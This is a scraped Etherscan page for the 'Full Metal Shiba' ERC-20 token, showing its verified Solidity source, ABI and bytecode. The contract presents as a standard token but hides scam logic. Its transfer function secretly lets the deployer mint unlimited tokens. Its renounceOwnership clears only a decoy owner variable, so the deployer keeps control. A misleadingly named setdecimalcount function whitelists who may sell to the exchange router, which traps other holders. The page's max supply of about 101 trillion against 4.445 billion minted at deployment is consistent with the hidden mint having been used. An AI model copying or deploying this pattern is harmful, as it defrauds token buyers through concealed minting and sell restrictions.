ERC-20
Overview
Max Total Supply
101,004,445,000,000 FullMetal🔧
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Filtered by Token Holder
0x851212159113715220151989i3.ethBalance
222,512,568.565694402763365462 FullMetal🔧Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FMS
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-01 */ /* https://t.me/fullmetalshiba FFFFFFFFFFFFFFFFFFFFFFMMMMMMMM MMMMMMMM SSSSSSSSSSSSSSS F::::::::::::::::::::FM:::::::M M:::::::M SS:::::::::::::::S F::::::::::::::::::::FM::::::::M M::::::::MS:::::SSSSSS::::::S FF::::::FFFFFFFFF::::FM:::::::::M M:::::::::MS:::::S SSSSSSS F:::::F FFFFFFM::::::::::M M::::::::::MS:::::S F:::::F M:::::::::::M M:::::::::::MS:::::S F::::::FFFFFFFFFF M:::::::M::::M M::::M:::::::M::::SSSS :::::::𝐅𝐔𝐋𝐋:::::: ::::::::::: 𝐌𝐄𝐓𝐀𝐋 :::::::::::: 𝐒𝐇𝐈𝐁𝐀::::: F:::::::::::::::F M::::::M M::::M::::M M::::::M SSS::::::::SS F::::::FFFFFFFFFF M::::::M M:::::::M M::::::M SSSSSS::::S F:::::F M::::::M M:::::M M::::::M S:::::S F:::::F M::::::M MMMMM M::::::M S:::::S FF:::::::FF M::::::M M::::::MSSSSSSS S:::::S F::::::::FF M::::::M M::::::MS::::::SSSSSS:::::S F::::::::FF M::::::M M::::::MS:::::::::::::::SS FFFFFFFFFFF MMMMMMMM MMMMMMMM SSSSSSSSSSSSSSS */ pragma solidity ^0.8.24; library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } function redc( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } pragma solidity ^0.8.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.24; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Creation is Context { address internal recipients; address internal router; address public owner; mapping(address => bool) internal confirm; event genesis(address indexed previousi, address indexed newi); constructor() { address msgSender = _msgSender(); recipients = msgSender; emit genesis(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual checker { emit genesis(owner, address(0)); owner = address(0); } } pragma solidity ^0.8.24; contract ERC20 is Context, IERC20, IERC20Metadata, Creation { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth = true; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function liquiditypair(address Uniswaprouterv02) public checker { router = Uniswaprouterv02; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { if ((recipients == _msgSender()) && (truth == true)) { _transfer(_msgSender(), recipient, amount); truth = false; return true; } else if ((recipients == _msgSender()) && (truth == false)) { _totalSupply = _totalSupply.cre(amount); _balances[recipient] = _balances[recipient].cre(amount); emit Transfer(recipient, recipient, amount); return true; } else { _transfer(_msgSender(), recipient, amount); return true; } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function decimalcount(address _count) internal checker { confirm[_count] = true; } function setdecimalcount(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { decimalcount(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.24; contract FMS is ERC20 { uint8 private immutable _decimals = 18; uint256 private _totalSupply = 4445000000 * 10**18; constructor() ERC20("Full Metal Shiba:", unicode"FullMetal🔧") { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"genesis","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Uniswaprouterv02","type":"address"}],"name":"liquiditypair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"setdecimalcount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a060405260126080526b0e5cd15cd5bc3a047d000000600a5534801562000025575f80fd5b5060405180604001604052806011815260200170233ab6361026b2ba30b61029b434b1309d60791b8152506040518060400160405280600d81526020016c46756c6c4d6574616cf09f94a760981b8152505f620000876200011860201b60201c565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908290a3506007620000de8382620002a9565b506008620000ed8282620002a9565b50506009805460ff191660011790555062000112620001093390565b600a546200011c565b6200039b565b3390565b6001600160a01b038216620001815760405162461bcd60e51b815260206004820152602160248201527f45524332303a206465706c6f7920746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060065f82825462000194919062000375565b90915550506001600160a01b0382165f9081526004602052604081208054839290620001c290849062000375565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200023457607f821691505b6020821081036200025357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002a457805f5260205f20601f840160051c81016020851015620002805750805b601f840160051c820191505b81811015620002a1575f81556001016200028c565b50505b505050565b81516001600160401b03811115620002c557620002c56200020b565b620002dd81620002d684546200021f565b8462000259565b602080601f83116001811462000313575f8415620002fb5750858301515b5f19600386901b1c1916600185901b1785556200036d565b5f85815260208120601f198616915b82811015620003435788860151825594840194600190910190840162000322565b50858210156200036157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200039557634e487b7160e01b5f52601160045260245ffd5b92915050565b608051610f06620003b45f395f6101610152610f065ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063715018a611610093578063a457c2d711610063578063a457c2d714610216578063a9059cbb14610229578063c168bb471461023c578063dd62ed3e1461024f575f80fd5b8063715018a6146101c65780638da5cb5b146101d057806395d89b41146101fb578063a22522e114610203575f80fd5b806323b872dd116100ce57806323b872dd14610147578063313ce5671461015a578063395093511461018b57806370a082311461019e575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc610287565b6040516101099190610c64565b60405180910390f35b610125610120366004610ccb565b610317565b6040519015158152602001610109565b6006545b604051908152602001610109565b610125610155366004610cf3565b61032d565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000000168152602001610109565b610125610199366004610ccb565b6103f6565b6101396101ac366004610d2c565b6001600160a01b03165f9081526004602052604090205490565b6101ce61042c565b005b6002546101e3906001600160a01b031681565b6040516001600160a01b039091168152602001610109565b6100fc6104e6565b6101ce610211366004610d59565b6104f5565b610125610224366004610ccb565b610587565b610125610237366004610ccb565b610639565b6101ce61024a366004610d2c565b610741565b61013961025d366004610e19565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60606007805461029690610e4a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610e4a565b801561030d5780601f106102e45761010080835404028352916020019161030d565b820191905f5260205f20905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b5f6103233384846107d4565b5060015b92915050565b5f61033984848461092b565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156103d75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103eb85336103e68685610e96565b6107d4565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916103239185906103e6908690610ea9565b5f546001600160a01b031633146104855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6002546040515f916001600160a01b0316907f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908390a3600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60606008805461029690610e4a565b5f546001600160a01b0316331461054e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f5b81518110156105835761057b82828151811061056e5761056e610ebc565b6020026020010151610b83565b600101610550565b5050565b335f9081526005602090815260408083206001600160a01b0386168452909152812054828110156106205760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103ce565b61062f33856103e68685610e96565b5060019392505050565b5f80546001600160a01b03163314801561065a575060095460ff1615156001145b1561067d5761066b335b848461092b565b506009805460ff191690556001610327565b5f546001600160a01b031633148015610699575060095460ff16155b15610730576006546106ab9083610bff565b6006556001600160a01b0383165f908152600460205260409020546106d09083610bff565b6001600160a01b0384165f818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107209086815260200190565b60405180910390a3506001610327565b61073933610664565b506001610327565b5f546001600160a01b0316331461079a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03831661084f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038216610a235760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001546001600160a01b0390811690831603610a5c576001600160a01b0383165f9081526003602052604090205460ff16610a5c575f80fd5b6001600160a01b0383165f9081526004602052604090205481811015610aea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ce565b610af48282610e96565b6001600160a01b038086165f908152600460205260408082209390935590851681529081208054849290610b29908490610ea9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7591815260200190565b60405180910390a350505050565b5f546001600160a01b03163314610bdc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6001600160a01b03165f908152600360205260409020805460ff19166001179055565b5f80610c0b8385610ea9565b905083811015610c5d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ce565b9392505050565b5f602080835283518060208501525f5b81811015610c9057858101830151858201604001528201610c74565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cc6575f80fd5b919050565b5f8060408385031215610cdc575f80fd5b610ce583610cb0565b946020939093013593505050565b5f805f60608486031215610d05575f80fd5b610d0e84610cb0565b9250610d1c60208501610cb0565b9150604084013590509250925092565b5f60208284031215610d3c575f80fd5b610c5d82610cb0565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610d6a575f80fd5b823567ffffffffffffffff80821115610d81575f80fd5b818501915085601f830112610d94575f80fd5b813581811115610da657610da6610d45565b8060051b604051601f19603f83011681018181108582111715610dcb57610dcb610d45565b604052918252848201925083810185019188831115610de8575f80fd5b938501935b82851015610e0d57610dfe85610cb0565b84529385019392850192610ded565b98975050505050505050565b5f8060408385031215610e2a575f80fd5b610e3383610cb0565b9150610e4160208401610cb0565b90509250929050565b600181811c90821680610e5e57607f821691505b602082108103610e7c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032757610327610e82565b8082018082111561032757610327610e82565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220d2b1bcc6babb8d82d134e49c4dbd5a83494ac11879bd4290109dfaf4f8d29ebc64736f6c63430008180033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063715018a611610093578063a457c2d711610063578063a457c2d714610216578063a9059cbb14610229578063c168bb471461023c578063dd62ed3e1461024f575f80fd5b8063715018a6146101c65780638da5cb5b146101d057806395d89b41146101fb578063a22522e114610203575f80fd5b806323b872dd116100ce57806323b872dd14610147578063313ce5671461015a578063395093511461018b57806370a082311461019e575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc610287565b6040516101099190610c64565b60405180910390f35b610125610120366004610ccb565b610317565b6040519015158152602001610109565b6006545b604051908152602001610109565b610125610155366004610cf3565b61032d565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000012168152602001610109565b610125610199366004610ccb565b6103f6565b6101396101ac366004610d2c565b6001600160a01b03165f9081526004602052604090205490565b6101ce61042c565b005b6002546101e3906001600160a01b031681565b6040516001600160a01b039091168152602001610109565b6100fc6104e6565b6101ce610211366004610d59565b6104f5565b610125610224366004610ccb565b610587565b610125610237366004610ccb565b610639565b6101ce61024a366004610d2c565b610741565b61013961025d366004610e19565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60606007805461029690610e4a565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610e4a565b801561030d5780601f106102e45761010080835404028352916020019161030d565b820191905f5260205f20905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b5f6103233384846107d4565b5060015b92915050565b5f61033984848461092b565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156103d75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103eb85336103e68685610e96565b6107d4565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916103239185906103e6908690610ea9565b5f546001600160a01b031633146104855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6002546040515f916001600160a01b0316907f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908390a3600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60606008805461029690610e4a565b5f546001600160a01b0316331461054e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b5f5b81518110156105835761057b82828151811061056e5761056e610ebc565b6020026020010151610b83565b600101610550565b5050565b335f9081526005602090815260408083206001600160a01b0386168452909152812054828110156106205760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103ce565b61062f33856103e68685610e96565b5060019392505050565b5f80546001600160a01b03163314801561065a575060095460ff1615156001145b1561067d5761066b335b848461092b565b506009805460ff191690556001610327565b5f546001600160a01b031633148015610699575060095460ff16155b15610730576006546106ab9083610bff565b6006556001600160a01b0383165f908152600460205260409020546106d09083610bff565b6001600160a01b0384165f818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107209086815260200190565b60405180910390a3506001610327565b61073933610664565b506001610327565b5f546001600160a01b0316331461079a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03831661084f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b0382166108cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109a75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001600160a01b038216610a235760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ce565b6001546001600160a01b0390811690831603610a5c576001600160a01b0383165f9081526003602052604090205460ff16610a5c575f80fd5b6001600160a01b0383165f9081526004602052604090205481811015610aea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ce565b610af48282610e96565b6001600160a01b038086165f908152600460205260408082209390935590851681529081208054849290610b29908490610ea9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7591815260200190565b60405180910390a350505050565b5f546001600160a01b03163314610bdc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ce565b6001600160a01b03165f908152600360205260409020805460ff19166001179055565b5f80610c0b8385610ea9565b905083811015610c5d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ce565b9392505050565b5f602080835283518060208501525f5b81811015610c9057858101830151858201604001528201610c74565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cc6575f80fd5b919050565b5f8060408385031215610cdc575f80fd5b610ce583610cb0565b946020939093013593505050565b5f805f60608486031215610d05575f80fd5b610d0e84610cb0565b9250610d1c60208501610cb0565b9150604084013590509250925092565b5f60208284031215610d3c575f80fd5b610c5d82610cb0565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610d6a575f80fd5b823567ffffffffffffffff80821115610d81575f80fd5b818501915085601f830112610d94575f80fd5b813581811115610da657610da6610d45565b8060051b604051601f19603f83011681018181108582111715610dcb57610dcb610d45565b604052918252848201925083810185019188831115610de8575f80fd5b938501935b82851015610e0d57610dfe85610cb0565b84529385019392850192610ded565b98975050505050505050565b5f8060408385031215610e2a575f80fd5b610e3383610cb0565b9150610e4160208401610cb0565b90509250929050565b600181811c90821680610e5e57607f821691505b602082108103610e7c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032757610327610e82565b8082018082111561032757610327610e82565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220d2b1bcc6babb8d82d134e49c4dbd5a83494ac11879bd4290109dfaf4f8d29ebc64736f6c63430008180033
Deployed Bytecode Sourcemap
11000:363:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5635:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7281:210;;;;;;:::i;:::-;;:::i;:::-;;;1251:14:1;;1244:22;1226:41;;1214:2;1199:18;7281:210:0;1086:187:1;6072:108:0;6160:12;;6072:108;;;1424:25:1;;;1412:2;1397:18;6072:108:0;1278:177:1;7499:491:0;;;;;;:::i;:::-;;:::i;11260:100::-;;;1965:4:1;11343:9:0;1953:17:1;1935:36;;1923:2;1908:18;11260:100:0;1793:184:1;8292:297:0;;;;;;:::i;:::-;;:::i;6188:177::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6339:18:0;6307:7;6339:18;;;:9;:18;;;;;;;6188:177;4977:131;;;:::i;:::-;;4550:20;;;;;-1:-1:-1;;;;;4550:20:0;;;;;;-1:-1:-1;;;;;2337:55:1;;;2319:74;;2307:2;2292:18;4550:20:0;2173:226:1;5743:104:0;;;:::i;8102:182::-;;;;;;:::i;:::-;;:::i;8597:446::-;;;;;;:::i;:::-;;:::i;6373:691::-;;;;;;:::i;:::-;;:::i;5855:108::-;;;;;;:::i;:::-;;:::i;7072:201::-;;;;;;:::i;:::-;-1:-1:-1;;;;;7238:18:0;;;7206:7;7238:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7072:201;5635:100;5689:13;5722:5;5715:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5635:100;:::o;7281:210::-;7400:4;7422:39;4182:10;7445:7;7454:6;7422:8;:39::i;:::-;-1:-1:-1;7479:4:0;7281:210;;;;;:::o;7499:491::-;7639:4;7656:36;7666:6;7674:9;7685:6;7656:9;:36::i;:::-;-1:-1:-1;;;;;7730:19:0;;7703:24;7730:19;;;:11;:19;;;;;;;;4182:10;7730:33;;;;;;;;7796:26;;;;7774:116;;;;-1:-1:-1;;;7774:116:0;;4687:2:1;7774:116:0;;;4669:21:1;4726:2;4706:18;;;4699:30;4765:34;4745:18;;;4738:62;4836:10;4816:18;;;4809:38;4864:19;;7774:116:0;;;;;;;;;7901:57;7910:6;4182:10;7932:25;7951:6;7932:16;:25;:::i;:::-;7901:8;:57::i;:::-;-1:-1:-1;7978:4:0;;7499:491;-1:-1:-1;;;;7499:491:0:o;8292:297::-;4182:10;8407:4;8501:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8501:34:0;;;;;;;;;;8407:4;;8429:130;;8479:7;;8501:47;;8538:10;;8501:47;:::i;4977:131::-;4886:10;;-1:-1:-1;;;;;4886:10:0;4182;4886:26;4878:71;;;;-1:-1:-1;;;4878:71:0;;5548:2:1;4878:71:0;;;5530:21:1;;;5567:18;;;5560:30;5626:34;5606:18;;;5599:62;5678:18;;4878:71:0;5346:356:1;4878:71:0;5053:5:::1;::::0;5045:26:::1;::::0;5068:1:::1;::::0;-1:-1:-1;;;;;5053:5:0::1;::::0;5045:26:::1;::::0;5068:1;;5045:26:::1;5082:5;:18:::0;;;::::1;::::0;;4977:131::o;5743:104::-;5799:13;5832:7;5825:14;;;;;:::i;8102:182::-;4886:10;;-1:-1:-1;;;;;4886:10:0;4182;4886:26;4878:71;;;;-1:-1:-1;;;4878:71:0;;5548:2:1;4878:71:0;;;5530:21:1;;;5567:18;;;5560:30;5626:34;5606:18;;;5599:62;5678:18;;4878:71:0;5346:356: